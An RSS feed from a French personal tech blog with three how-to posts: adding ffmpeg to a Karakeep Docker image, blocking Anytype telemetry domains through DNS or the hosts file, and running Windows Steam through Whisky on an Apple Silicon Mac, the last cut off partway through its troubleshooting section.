<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom"><channel><title>Accueil on Maxime Pinot</title><link>https://www.maximepinot.com/index.html</link><description>in Accueil on Maxime Pinot</description><language>fr</language><managingEditor>contact+blog@maximepinot.com (Maxime Pinot)</managingEditor><webMaster>contact+blog@maximepinot.com (Maxime Pinot)</webMaster><lastBuildDate>Sun, 19 Apr 2026 14:55:17 +0200</lastBuildDate><atom:link href="https://www.maximepinot.com/rss.xml" rel="self" type="application/rss+xml"/><item><title>Comment améliorer la qualité des vidéos YouTube téléchargées avec Karakeep</title><link>https://www.maximepinot.com/blog/ameliorer-telechargement-qualite-videos-youtube-karakeep.html</link><pubDate>Sun, 19 Apr 2026 14:55:17 +0200</pubDate><author>contact+blog@maximepinot.com (Maxime Pinot)</author><guid>https://www.maximepinot.com/blog/ameliorer-telechargement-qualite-videos-youtube-karakeep.html</guid><description>&lt;p&gt;J&amp;rsquo;ai installé Karakeep pour sauvegarder mes liens favoris (et des vidéos YouTube.) Ça fonctionne super bien ! Mais quand j&amp;rsquo;ai essayé de sauvegarder un lien YouTube,
la vidéo téléchargée était de très mauvaise qualité.&lt;/p&gt;
&lt;p&gt;Karakeep utilise l&amp;rsquo;outil &lt;code&gt;yt-dlp&lt;/code&gt; pour gérer le téléchargement des vidéos.&lt;/p&gt;
&lt;p&gt;J&amp;rsquo;ai essayé de jouer avec des variables d&amp;rsquo;environnement pour forcer une meilleure qualité, mais rien n&amp;rsquo;y fait.&lt;/p&gt;
&lt;div class="highlight-wrapper"&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-env" data-lang="env"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;CRAWLER_VIDEO_DOWNLOAD&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nb"&gt;true&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;CRAWLER_VIDEO_DOWNLOAD_MAX_SIZE&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;-1
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;CRAWLER_YTDLP_ARGS&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;-S ext&amp;#34;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;En fait, &lt;code&gt;yt-dlp&lt;/code&gt; a besoin de la librairie &lt;code&gt;ffmpeg&lt;/code&gt; qui n&amp;rsquo;est pas inclus dans l&amp;rsquo;image Docker officielle de Karakeep.&lt;/p&gt;
&lt;p&gt;Il faut donc créer sa propre image Docker pour y ajouter &lt;code&gt;ffmpeg&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Il suffit de créer un fichier &lt;code&gt;Dockerfile&lt;/code&gt; à côté du fichier &lt;code&gt;compose.yaml&lt;/code&gt; avec le contenu suivant :&lt;/p&gt;
&lt;div class="highlight-wrapper"&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-Dockerfile" data-lang="Dockerfile"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;ARG&lt;/span&gt; &lt;span class="nv"&gt;KARAKEEP_VERSION&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;release
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;FROM&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;ghcr.io/karakeep-app/karakeep:${KARAKEEP_VERSION&lt;/span&gt;&lt;span class="o"&gt;}&lt;/span&gt;&lt;span class="err"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="err"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;RUN&lt;/span&gt; apt-get update &lt;span class="se"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; apt-get -y install ffmpeg --no-install-recommends &lt;span class="se"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; apt-get clean &lt;span class="se"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; rm -rf /var/lib/apt/lists/*&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;Ensuite, il faut utiliser cette image à la place de l&amp;rsquo;image officielle dans le fichier &lt;code&gt;compose.yaml&lt;/code&gt; :&lt;/p&gt;
&lt;div class="highlight-wrapper"&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-diff" data-lang="diff"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# compose.yaml
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;services:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; web:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="gd"&gt;- image: ghcr.io/karakeep-app/karakeep:${KARAKEEP_VERSION:-release}
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="gi"&gt;+ build:
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="gi"&gt;+ context: &amp;#34;.&amp;#34; # Le chemin vers votre Dockerfile (&amp;#34;.&amp;#34; indique que le fichier est à côté du fichier `compose.yaml`)
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="gi"&gt;+ args:
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="gi"&gt;+ KARAKEEP_VERSION: &amp;#34;0.31.0&amp;#34; # Si vous souhaitez fixer une version spécifique de Karakeep
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;Maintenant, &lt;code&gt;yt-dlp&lt;/code&gt; est capable de télécharger les vidéos avec la meilleure qualité possible.&lt;/p&gt;</description></item><item><title>Comment désactiver le tracking (analytics) sur Anytype (alternative à Notion)</title><link>https://www.maximepinot.com/blog/anytype-desactiver-tracking-analytics.html</link><pubDate>Sat, 18 Apr 2026 15:02:00 +0200</pubDate><author>contact+blog@maximepinot.com (Maxime Pinot)</author><guid>https://www.maximepinot.com/blog/anytype-desactiver-tracking-analytics.html</guid><description>&lt;p&gt;Même si la documentation d&amp;rsquo;Anytype dit qu&amp;rsquo;il n&amp;rsquo;est pas encore possible de désactiver le &lt;em&gt;tracking&lt;/em&gt; dans l&amp;rsquo;application :&lt;/p&gt;
&lt;blockquote&gt;&lt;p&gt;It will be possible to opt-out of analytics in the future.&lt;/p&gt;
&lt;p&gt;— &lt;cite&gt;&lt;a href="https://doc.anytype.io/anytype-docs/advanced/data-and-security/analytics-and-tracking" target="_blank" rel="noreferrer"&gt;Documentation Anytype: page Analytics &amp;amp; Tracking&lt;/a&gt;&lt;/cite&gt;&lt;/p&gt;
&lt;/blockquote&gt;&lt;p&gt;C&amp;rsquo;est toutefois possible d&amp;rsquo;empêcher le tracking.&lt;/p&gt;
&lt;p&gt;Tout ce que vous devez faire est d&amp;rsquo;empêcher les requêtes suivantes de sortir de votre ordinateur :&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;graylog.anytype.io&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;telemetry.anytype.io&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;sentry.anytype.io&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;amplitude.anytype.io&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;La meilleure chose à faire serait de mettre en place des DNS personnalisés pour bloquer les requêtes sur tous vos appareils sur lesquels vous utilisez Anytype (ordinateur, téléphone, tablette…)&lt;/p&gt;
&lt;p&gt;J&amp;rsquo;utilise &lt;a href="https://nextdns.io/?from=s3tkz3qu" target="_blank" rel="noreferrer"&gt;NextDNS&lt;/a&gt; qui me permet de bloquer les pubs et les traqueurs au niveau DNS. C&amp;rsquo;est génial, je ne pourrais plus m&amp;rsquo;en passer ! Vous pouvez aussi mettre en place, chez vous, un PiHole ou Adguard Home si ça vous va de devoir maintenir l&amp;rsquo;outil.&lt;/p&gt;
&lt;p&gt;Si vous utilisez Anytype seulement sur votre ordinateur, une solution simple et rapide est de modifier le fichier &lt;code&gt;/etc/hosts&lt;/code&gt; (sur macOS ou Linux) et y ajouter les lignes suivantes à la fin :&lt;/p&gt;
&lt;div class="highlight-wrapper"&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-sh" data-lang="sh"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;0.0.0.0 graylog.anytype.io
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;0.0.0.0 telemetry.anytype.io
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;0.0.0.0 sentry.anytype.io
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;0.0.0.0 amplitude.anytype.io&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;Si vous êtes sur Windows, il devrait se trouver ici : &lt;code&gt;C:\windows\system32\drivers\etc\hosts&lt;/code&gt;.&lt;/p&gt;</description></item><item><title>Installer et jouer à Supermarket Simulator sur Mac</title><link>https://www.maximepinot.com/blog/installer-jouer-supermarket-simulator-steam-mac-os.html</link><pubDate>Sun, 28 Apr 2024 11:22:00 +0200</pubDate><author>contact+blog@maximepinot.com (Maxime Pinot)</author><guid>https://www.maximepinot.com/blog/installer-jouer-supermarket-simulator-steam-mac-os.html</guid><description>&lt;p&gt;&lt;strong&gt;Supermarket Simulator&lt;/strong&gt; c&amp;rsquo;est &lt;em&gt;&lt;strong&gt;le&lt;/strong&gt;&lt;/em&gt; jeu de simulation addictif du moment.
Mais les utilisateurs de Mac seront déçu car Supermarket Simulator est seulement disponible
sur Windows.&lt;/p&gt;
&lt;p&gt;Heureusement, il existe une solution pour installer et jouer à Supermarket Simulator sur Mac.&lt;/p&gt;
&lt;p&gt;Cette solution fonctionne sur mon MacBook Air M3 avec macOS Sonoma (14).&lt;/p&gt;
&lt;div
class="flex px-4 py-3 rounded-md shadow bg-primary-100 dark:bg-primary-900"
&gt;
&lt;span
class="text-primary-400 pe-3 flex items-center"
&gt;
&lt;span class="relative block icon"&gt;&lt;svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"&gt;&lt;path fill="currentColor" d="M506.3 417l-213.3-364c-16.33-28-57.54-28-73.98 0l-213.2 364C-10.59 444.9 9.849 480 42.74 480h426.6C502.1 480 522.6 445 506.3 417zM232 168c0-13.25 10.75-24 24-24S280 154.8 280 168v128c0 13.25-10.75 24-23.1 24S232 309.3 232 296V168zM256 416c-17.36 0-31.44-14.08-31.44-31.44c0-17.36 14.07-31.44 31.44-31.44s31.44 14.08 31.44 31.44C287.4 401.9 273.4 416 256 416z"/&gt;&lt;/svg&gt;
&lt;/span&gt;
&lt;/span&gt;
&lt;span
class="dark:text-neutral-300"
&gt;&lt;strong&gt;Attention, cette solution ne fonctionne pas sur les Macs Intel.&lt;/strong&gt;
&lt;strong&gt;Uniquement les Macs avec les puces Apple Silicon (M1, M2, M3&amp;hellip;)&lt;/strong&gt;&lt;/span&gt;
&lt;/div&gt;
&lt;h2 class="relative group"&gt;Installer Supermarket Simulator sur Mac
&lt;div id="installer-supermarket-simulator-sur-mac" class="anchor"&gt;&lt;/div&gt;
&lt;span
class="absolute top-0 w-6 transition-opacity opacity-0 -start-6 not-prose group-hover:opacity-100 select-none"&gt;
&lt;a class="text-primary-300 dark:text-neutral-700 !no-underline" href="#installer-supermarket-simulator-sur-mac" aria-label="Ancre"&gt;#&lt;/a&gt;
&lt;/span&gt;
&lt;/h2&gt;
&lt;h3 class="relative group"&gt;Installer Whisky
&lt;div id="installer-whisky" class="anchor"&gt;&lt;/div&gt;
&lt;span
class="absolute top-0 w-6 transition-opacity opacity-0 -start-6 not-prose group-hover:opacity-100 select-none"&gt;
&lt;a class="text-primary-300 dark:text-neutral-700 !no-underline" href="#installer-whisky" aria-label="Ancre"&gt;#&lt;/a&gt;
&lt;/span&gt;
&lt;/h3&gt;
&lt;p&gt;Dans un premier temps, vous devez installer le logiciel &lt;strong&gt;Whisky&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;Deux solutions :&lt;/p&gt;
&lt;h4 class="relative group"&gt;Télécharger le fichier &lt;code&gt;.app&lt;/code&gt;
&lt;div id="télécharger-le-fichier-app" class="anchor"&gt;&lt;/div&gt;
&lt;span
class="absolute top-0 w-6 transition-opacity opacity-0 -start-6 not-prose group-hover:opacity-100 select-none"&gt;
&lt;a class="text-primary-300 dark:text-neutral-700 !no-underline" href="#t%c3%a9l%c3%a9charger-le-fichier-app" aria-label="Ancre"&gt;#&lt;/a&gt;
&lt;/span&gt;
&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;Rendez-vous sur le site officiel du logiciel à cette adresse : &lt;a href="https://getwhisky.app/fr/" target="_blank" rel="noreferrer"&gt;https://getwhisky.app/fr/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Cliquez sur le bouton &lt;code&gt;Télécharger la dernière version&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Double-cliquez sur le fichier &lt;code&gt;Whisky.zip&lt;/code&gt; que vous venez de télécharger&lt;/li&gt;
&lt;li&gt;Déplacez le fichier &lt;code&gt;Whisky.app&lt;/code&gt; dans le dossier &lt;code&gt;Applications&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 class="relative group"&gt;En utilisant Homebrew
&lt;div id="en-utilisant-homebrew" class="anchor"&gt;&lt;/div&gt;
&lt;span
class="absolute top-0 w-6 transition-opacity opacity-0 -start-6 not-prose group-hover:opacity-100 select-none"&gt;
&lt;a class="text-primary-300 dark:text-neutral-700 !no-underline" href="#en-utilisant-homebrew" aria-label="Ancre"&gt;#&lt;/a&gt;
&lt;/span&gt;
&lt;/h4&gt;
&lt;p&gt;Si vous utilisez Homebrew pour installer vos logiciels, il suffit d&amp;rsquo;exécuter la commande suivante :&lt;/p&gt;
&lt;div class="highlight-wrapper"&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-shell" data-lang="shell"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;brew install --cask whisky&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;h3 class="relative group"&gt;Télécharger Steam Windows
&lt;div id="télécharger-steam-windows" class="anchor"&gt;&lt;/div&gt;
&lt;span
class="absolute top-0 w-6 transition-opacity opacity-0 -start-6 not-prose group-hover:opacity-100 select-none"&gt;
&lt;a class="text-primary-300 dark:text-neutral-700 !no-underline" href="#t%c3%a9l%c3%a9charger-steam-windows" aria-label="Ancre"&gt;#&lt;/a&gt;
&lt;/span&gt;
&lt;/h3&gt;
&lt;p&gt;Maintenant que Whisky est installé, on va pouvoir installer Steam Windows.&lt;/p&gt;
&lt;p&gt;Téléchargez la version Windows de Steam en cliquant sur &lt;a href="https://cdn.akamai.steamstatic.com/client/installer/SteamSetup.exe" target="_blank" rel="noreferrer"&gt;ce lien&lt;/a&gt;.
Si le lien ne fonctionne pas, allez sur &lt;a href="https://store.steampowered.com/about/" target="_blank" rel="noreferrer"&gt;le site officiel de Steam&lt;/a&gt;
et téléchargez &lt;strong&gt;la version Windows&lt;/strong&gt; de Steam.&lt;/p&gt;
&lt;figure&gt;&lt;img
class="my-0 rounded-md"
loading="lazy"
decoding="async"
fetchpriority="auto"
alt=""
width="1130"
height="862"
src="https://www.maximepinot.com/blog/installer-jouer-supermarket-simulator-steam-mac-os/images/steam-install_hu_5e2c3fe2e4122f73.webp"
srcset="https://www.maximepinot.com/blog/installer-jouer-supermarket-simulator-steam-mac-os/images/steam-install_hu_5e2c3fe2e4122f73.webp 800w, https://www.maximepinot.com/blog/installer-jouer-supermarket-simulator-steam-mac-os/images/steam-install.webp 1280w"
sizes="(min-width: 768px) 50vw, 65vw"
data-zoom-src="https://www.maximepinot.com/blog/installer-jouer-supermarket-simulator-steam-mac-os/images/steam-install.webp"&gt;&lt;/figure&gt;
&lt;p&gt;Vous devez avoir un fichier avec l&amp;rsquo;extension &lt;code&gt;.exe&lt;/code&gt; (&lt;code&gt;SteamSetup.exe&lt;/code&gt;).&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Il faut absolument que le fichier soit un fichier &lt;code&gt;.exe&lt;/code&gt;.&lt;/strong&gt;
&lt;strong&gt;Si ce n&amp;rsquo;est pas le cas, c&amp;rsquo;est que vous n&amp;rsquo;avez pas la version Windows de Steam.&lt;/strong&gt;&lt;/p&gt;
&lt;h3 class="relative group"&gt;Installer Steam Windows
&lt;div id="installer-steam-windows" class="anchor"&gt;&lt;/div&gt;
&lt;span
class="absolute top-0 w-6 transition-opacity opacity-0 -start-6 not-prose group-hover:opacity-100 select-none"&gt;
&lt;a class="text-primary-300 dark:text-neutral-700 !no-underline" href="#installer-steam-windows" aria-label="Ancre"&gt;#&lt;/a&gt;
&lt;/span&gt;
&lt;/h3&gt;
&lt;p&gt;Ouvrez l&amp;rsquo;application &lt;code&gt;Whisky&lt;/code&gt;.&lt;/p&gt;
&lt;figure&gt;&lt;img
class="my-0 rounded-md"
loading="lazy"
decoding="async"
fetchpriority="auto"
alt=""
width="2024"
height="1124"
src="https://www.maximepinot.com/blog/installer-jouer-supermarket-simulator-steam-mac-os/images/whisky-dependencies-setup_hu_34402cd76305b192.webp"
srcset="https://www.maximepinot.com/blog/installer-jouer-supermarket-simulator-steam-mac-os/images/whisky-dependencies-setup_hu_34402cd76305b192.webp 800w, https://www.maximepinot.com/blog/installer-jouer-supermarket-simulator-steam-mac-os/images/whisky-dependencies-setup_hu_fee3551e87d4c130.webp 1280w"
sizes="(min-width: 768px) 50vw, 65vw"
data-zoom-src="https://www.maximepinot.com/blog/installer-jouer-supermarket-simulator-steam-mac-os/images/whisky-dependencies-setup.webp"&gt;&lt;/figure&gt;
&lt;p&gt;Cliquez sur &lt;code&gt;Next&lt;/code&gt; pour installer les dépendances nécessaires.&lt;/p&gt;
&lt;figure&gt;&lt;img
class="my-0 rounded-md"
loading="lazy"
decoding="async"
fetchpriority="auto"
alt=""
width="2024"
height="1124"
src="https://www.maximepinot.com/blog/installer-jouer-supermarket-simulator-steam-mac-os/images/whisky-create-bottle_hu_f5ac909c43af5aaa.webp"
srcset="https://www.maximepinot.com/blog/installer-jouer-supermarket-simulator-steam-mac-os/images/whisky-create-bottle_hu_f5ac909c43af5aaa.webp 800w, https://www.maximepinot.com/blog/installer-jouer-supermarket-simulator-steam-mac-os/images/whisky-create-bottle_hu_453d5f898eab0e3a.webp 1280w"
sizes="(min-width: 768px) 50vw, 65vw"
data-zoom-src="https://www.maximepinot.com/blog/installer-jouer-supermarket-simulator-steam-mac-os/images/whisky-create-bottle.webp"&gt;&lt;/figure&gt;
&lt;p&gt;Cliquez sur &lt;code&gt;Create Bottle&lt;/code&gt;.&lt;/p&gt;
&lt;figure&gt;&lt;img
class="my-0 rounded-md"
loading="lazy"
decoding="async"
fetchpriority="auto"
alt=""
width="2024"
height="1124"
src="https://www.maximepinot.com/blog/installer-jouer-supermarket-simulator-steam-mac-os/images/whisky-new-bottle-details_hu_756ba2889f4a7eb8.webp"
srcset="https://www.maximepinot.com/blog/installer-jouer-supermarket-simulator-steam-mac-os/images/whisky-new-bottle-details_hu_756ba2889f4a7eb8.webp 800w, https://www.maximepinot.com/blog/installer-jouer-supermarket-simulator-steam-mac-os/images/whisky-new-bottle-details_hu_adff3bc2a3acb933.webp 1280w"
sizes="(min-width: 768px) 50vw, 65vw"
data-zoom-src="https://www.maximepinot.com/blog/installer-jouer-supermarket-simulator-steam-mac-os/images/whisky-new-bottle-details.webp"&gt;&lt;/figure&gt;
&lt;p&gt;Donnez un nom à votre &lt;code&gt;Bottle&lt;/code&gt; (ici, j&amp;rsquo;ai choisi &amp;ldquo;Steam&amp;rdquo;).
Choisissez &amp;ldquo;Windows 10&amp;rdquo; et laissez le &lt;code&gt;Bottle path&lt;/code&gt; par défaut.
Cliquez sur &lt;code&gt;Create&lt;/code&gt;.&lt;/p&gt;
&lt;figure&gt;&lt;img
class="my-0 rounded-md"
loading="lazy"
decoding="async"
fetchpriority="auto"
alt=""
width="2024"
height="1124"
src="https://www.maximepinot.com/blog/installer-jouer-supermarket-simulator-steam-mac-os/images/whisky-run-exe_hu_edd7aaacee34d5dd.webp"
srcset="https://www.maximepinot.com/blog/installer-jouer-supermarket-simulator-steam-mac-os/images/whisky-run-exe_hu_edd7aaacee34d5dd.webp 800w, https://www.maximepinot.com/blog/installer-jouer-supermarket-simulator-steam-mac-os/images/whisky-run-exe_hu_ad232333b288ce3d.webp 1280w"
sizes="(min-width: 768px) 50vw, 65vw"
data-zoom-src="https://www.maximepinot.com/blog/installer-jouer-supermarket-simulator-steam-mac-os/images/whisky-run-exe.webp"&gt;&lt;/figure&gt;
&lt;p&gt;Une fois votre &lt;code&gt;Bottle&lt;/code&gt; créée, cliquez sur le bouton &lt;code&gt;Run...&lt;/code&gt; en bas à droite de la fenêtre.
Sélectionnez l&amp;rsquo;exécutable Steam Windows (&lt;code&gt;SteamSetup.exe&lt;/code&gt;)&lt;/p&gt;
&lt;figure&gt;&lt;img
class="my-0 rounded-md"
loading="lazy"
decoding="async"
fetchpriority="auto"
alt=""
width="1218"
height="1002"
src="https://www.maximepinot.com/blog/installer-jouer-supermarket-simulator-steam-mac-os/images/whisky-steam-windows-setup_hu_397b872f676fe0dc.webp"
srcset="https://www.maximepinot.com/blog/installer-jouer-supermarket-simulator-steam-mac-os/images/whisky-steam-windows-setup_hu_397b872f676fe0dc.webp 800w, https://www.maximepinot.com/blog/installer-jouer-supermarket-simulator-steam-mac-os/images/whisky-steam-windows-setup.webp 1280w"
sizes="(min-width: 768px) 50vw, 65vw"
data-zoom-src="https://www.maximepinot.com/blog/installer-jouer-supermarket-simulator-steam-mac-os/images/whisky-steam-windows-setup.webp"&gt;&lt;/figure&gt;
&lt;p&gt;Cliquez sur &lt;code&gt;Next&lt;/code&gt; jusqu&amp;rsquo;à la dernière étape.&lt;/p&gt;
&lt;figure&gt;&lt;img
class="my-0 rounded-md"
loading="lazy"
decoding="async"
fetchpriority="auto"
alt=""
width="1218"
height="1002"
src="https://www.maximepinot.com/blog/installer-jouer-supermarket-simulator-steam-mac-os/images/whisky-steam-windows-setup-completed_hu_3adb31d2542ff77b.webp"
srcset="https://www.maximepinot.com/blog/installer-jouer-supermarket-simulator-steam-mac-os/images/whisky-steam-windows-setup-completed_hu_3adb31d2542ff77b.webp 800w, https://www.maximepinot.com/blog/installer-jouer-supermarket-simulator-steam-mac-os/images/whisky-steam-windows-setup-completed.webp 1280w"
sizes="(min-width: 768px) 50vw, 65vw"
data-zoom-src="https://www.maximepinot.com/blog/installer-jouer-supermarket-simulator-steam-mac-os/images/whisky-steam-windows-setup-completed.webp"&gt;&lt;/figure&gt;
&lt;p&gt;À la fin, vous pouvez lancer Steam et l&amp;rsquo;utiliser comme d&amp;rsquo;habitude : connectez-vous à votre
compte Steam, téléchargez &lt;code&gt;Supermarket Simulator&lt;/code&gt; depuis votre bibliothèque Steam et lancez le jeu.&lt;/p&gt;
&lt;p&gt;À noter que la synchronisation avec le cloud Steam fonctionne très bien.&lt;/p&gt;
&lt;p&gt;En théorie, Whisky a automatiquement épinglé Steam pour que vous puissiez rapidement exécuter le programme à
l&amp;rsquo;ouverture du logiciel. Si ce n&amp;rsquo;est pas le cas, allez dans &lt;code&gt;Installed Programs&lt;/code&gt;, recherchez &lt;code&gt;steam.exe&lt;/code&gt;
et cliquez sur l&amp;rsquo;icône en forme d&amp;rsquo;épingle 📌 pour épingler le logiciel sur l&amp;rsquo;écran d&amp;rsquo;accueil.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;&lt;img
class="my-0 rounded-md"
loading="lazy"
decoding="async"
fetchpriority="auto"
alt=""
width="2024"
height="1124"
src="https://www.maximepinot.com/blog/installer-jouer-supermarket-simulator-steam-mac-os/images/whisky-home_hu_b9970a045c153d85.webp"
srcset="https://www.maximepinot.com/blog/installer-jouer-supermarket-simulator-steam-mac-os/images/whisky-home_hu_b9970a045c153d85.webp 800w, https://www.maximepinot.com/blog/installer-jouer-supermarket-simulator-steam-mac-os/images/whisky-home_hu_d3209b97f9cab8d2.webp 1280w"
sizes="(min-width: 768px) 50vw, 65vw"
data-zoom-src="https://www.maximepinot.com/blog/installer-jouer-supermarket-simulator-steam-mac-os/images/whisky-home.webp"&gt;&lt;/figure&gt;
&lt;figure&gt;&lt;img
class="my-0 rounded-md"
loading="lazy"
decoding="async"
fetchpriority="auto"
alt=""
width="2024"
height="1124"
src="https://www.maximepinot.com/blog/installer-jouer-supermarket-simulator-steam-mac-os/images/whisky-installed-programs_hu_cf3c29d7c0f06df5.webp"
srcset="https://www.maximepinot.com/blog/installer-jouer-supermarket-simulator-steam-mac-os/images/whisky-installed-programs_hu_cf3c29d7c0f06df5.webp 800w, https://www.maximepinot.com/blog/installer-jouer-supermarket-simulator-steam-mac-os/images/whisky-installed-programs_hu_821eafeb773a7a67.webp 1280w"
sizes="(min-width: 768px) 50vw, 65vw"
data-zoom-src="https://www.maximepinot.com/blog/installer-jouer-supermarket-simulator-steam-mac-os/images/whisky-installed-programs.webp"&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;💡Vous pouvez même épingler &lt;code&gt;Supermarket Simulator.exe&lt;/code&gt; pour lancer directement le jeu sans ouvrir Steam.&lt;/p&gt;
&lt;h2 class="relative group"&gt;Résolution des problèmes
&lt;div id="résolution-des-problèmes" class="anchor"&gt;&lt;/div&gt;
&lt;span
class="absolute top-0 w-6 transition-opacity opacity-0 -start-6 not-prose group-hover:opacity-100 select-none"&gt;
&lt;a class="text-primary-300 dark:text-neutral-700 !no-underline" href="#r%c3%a9solution-des-probl%c3%a8mes" aria-label="Ancre"&gt;#&lt;/a&gt;
&lt;/span&gt;
&lt;/h2&gt;
&lt;h3 class="relative group"&gt;Steam s&amp;rsquo;ouvre intempestivement
&lt;div id="steam-souvre-intempestivement" class="anchor"&gt;&lt;/div&gt;
&lt;span
class="absolute top-0 w-6 transition-opacity opacity-0 -start-6 not-prose group-hover:opacity-100 select-none"&gt;
&lt;a class="text-primary-300 dark:text-neutral-700 !no-underline" href="#steam-souvre-intempestivement" aria-label="Ancre"&gt;#&lt;/a&gt;
&lt;/span&gt;
&lt;/h3&gt;
&lt;p&gt;Ne fermez &lt;strong&gt;pas&lt;/strong&gt; Steam via la barre du Mac en cliquant sur &lt;code&gt;steamwebhelper&lt;/code&gt;.&lt;/p&gt;
&lt;figure&gt;&lt;img
class="my-0 rounded-md"
loading="lazy"
decoding="async"
fetchpriority="auto"
alt=""
width="632"
height="342"
src="https://www.maximepinot.com/blog/installer-jouer-supermarket-simulator-steam-mac-os/images/macos-steamwebhelper.webp"
srcset="https://www.maximepinot.com/blog/installer-jouer-supermarket-simulator-steam-mac-os/images/macos-steamwebhelper.webp 800w, https://www.maximepinot.com/blog/installer-jouer-supermarket-simulator-steam-mac-os/images/macos-steamwebhelper.webp 1280w"
sizes="(min-width: 768px) 50vw, 65vw"
data-zoom-src="https://www.maximepinot.com/blog/installer-jouer-supermarket-simulator-steam-mac-os/images/macos-steamwebhelper.webp"&gt;&lt;/figure&gt;
&lt;p&gt;Fermez Steam directement depuis l&amp;rsquo;application via le menu &lt;code&gt;Steam &amp;gt; Exit&lt;/code&gt;.&lt;/p&gt;
&lt;figure&gt;&lt;img
class="my-0 rounded-md"
loading="lazy"
decoding="async"
fetchpriority="auto"
alt=""
width="642"
height="648"
src="https://www.maximepinot.com/blog/installer-jouer-supermarket-simulator-steam-mac-os/images/macos-steam-close.webp"
srcset="https://www.maximepinot.com/blog/installer-jouer-supermarket-simulator-steam-mac-os/images/macos-steam-close.webp 800w, https://www.maximepinot.com/blog/installer-jouer-supermarket-simulator-steam-mac-os/images/macos-steam-close.webp 1280w"
sizes="(min-width: 768px) 50vw, 65vw"
